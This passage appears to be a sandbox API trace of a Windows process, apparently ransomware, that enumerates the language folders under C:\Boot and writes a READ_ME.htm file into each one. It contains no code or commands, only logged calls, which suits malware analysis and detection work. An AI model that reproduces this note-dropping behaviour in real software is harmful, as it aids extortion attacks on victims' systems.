ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.731] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.731] SetErrorMode (uMode=0x0) returned 0x1 [0130.732] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.732] SetErrorMode (uMode=0x1) returned 0x0 [0130.732] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\READ_ME.htm" (normalized: "c:\\boot\\nl-nl\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.732] SetErrorMode (uMode=0x0) returned 0x1 [0130.732] GetFileType (hFile=0x1bc) returned 0x1 [0130.733] WriteFile (in: hFile=0x1bc, lpBuffer=0x28ab1f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28ab1f0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.734] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0130.734] SetErrorMode (uMode=0x1) returned 0x0 [0130.735] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*" (normalized: "c:\\boot\\pl-pl\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.735] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.735] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.735] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.735] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.735] SetErrorMode (uMode=0x0) returned 0x1 [0130.736] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0130.736] SetErrorMode (uMode=0x1) returned 0x0 [0130.736] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*" (normalized: "c:\\boot\\pl-pl\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.737] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.737] SetErrorMode (uMode=0x0) returned 0x1 [0130.737] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.738] SetErrorMode (uMode=0x1) returned 0x0 [0130.738] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\READ_ME.htm" (normalized: "c:\\boot\\pl-pl\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.738] SetErrorMode (uMode=0x0) returned 0x1 [0130.738] GetFileType (hFile=0x1bc) returned 0x1 [0130.740] WriteFile (in: hFile=0x1bc, lpBuffer=0x28b1010*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28b1010*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.741] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0130.741] SetErrorMode (uMode=0x1) returned 0x0 [0130.742] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*" (normalized: "c:\\boot\\pt-br\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.746] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.746] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.747] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.747] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.747] SetErrorMode (uMode=0x0) returned 0x1 [0130.748] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0130.748] SetErrorMode (uMode=0x1) returned 0x0 [0130.748] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*" (normalized: "c:\\boot\\pt-br\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.748] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.748] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.749] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.749] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.749] SetErrorMode (uMode=0x0) returned 0x1 [0130.750] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.750] SetErrorMode (uMode=0x1) returned 0x0 [0130.750] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\READ_ME.htm" (normalized: "c:\\boot\\pt-br\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.751] SetErrorMode (uMode=0x0) returned 0x1 [0130.751] GetFileType (hFile=0x1bc) returned 0x1 [0130.751] WriteFile (in: hFile=0x1bc, lpBuffer=0x28b6e30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28b6e30*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.753] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0130.753] SetErrorMode (uMode=0x1) returned 0x0 [0130.753] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*" (normalized: "c:\\boot\\pt-pt\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.754] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.754] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.754] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.754] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.754] SetErrorMode (uMode=0x0) returned 0x1 [0130.755] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0130.755] SetErrorMode (uMode=0x1) returned 0x0 [0130.756] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*" (normalized: "c:\\boot\\pt-pt\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.756] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.756] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.756] SetErrorMode (uMode=0x0) returned 0x1 [0130.757] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.757] SetErrorMode (uMode=0x1) returned 0x0 [0130.757] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\READ_ME.htm" (normalized: "c:\\boot\\pt-pt\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.758] SetErrorMode (uMode=0x0) returned 0x1 [0130.758] GetFileType (hFile=0x1bc) returned 0x1 [0130.758] WriteFile (in: hFile=0x1bc, lpBuffer=0x28bcc50*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28bcc50*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.760] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0130.760] SetErrorMode (uMode=0x1) returned 0x0 [0130.760] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*" (normalized: "c:\\boot\\ru-ru\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.764] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.764] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.764] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.764] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.764] SetErrorMode (uMode=0x0) returned 0x1 [0130.764] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0130.764] SetErrorMode (uMode=0x1) returned 0x0 [0130.765] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*" (normalized: "c:\\boot\\ru-ru\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.765] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.765] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.765] SetErrorMode (uMode=0x0) returned 0x1 [0130.766] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.766] SetErrorMode (uMode=0x1) returned 0x0 [0130.766] 